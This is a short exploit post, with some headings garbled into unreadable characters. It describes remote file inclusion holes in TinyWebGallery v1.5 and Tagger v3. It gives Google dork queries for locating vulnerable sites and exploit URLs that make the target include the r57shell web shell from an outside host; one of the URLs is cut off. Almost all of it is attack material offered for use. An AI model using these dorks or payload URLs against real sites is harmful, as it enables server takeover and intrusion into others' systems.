ÈÓã Çááå ÇáÑÍãä ÇáÑÍíã

ËÛÑÊíä ÝÇíá ÇäßáæÏ

TinyWebGallery v1.5 ( image ) Remote Include Vulnerability


google dork: "powered by twg"
------------------------------------------------------------------------------

Exploit:
examples/image.php?image=http://rst.void.ru/download/r57shell.txt?

examples/examples/image.php2?image=http://rst.void.ru/download/r57shell.txt?

ÇáËÛÑÉ ÇáËÇäíÉ

Tagger v3 <= BBCodeFile Remote file inclusion
PoC:
http://victim-site.com/tags.php?BBCo.../r57shell.txt?

Google dork:

intitle:"Tagger LE" inurl:tags.php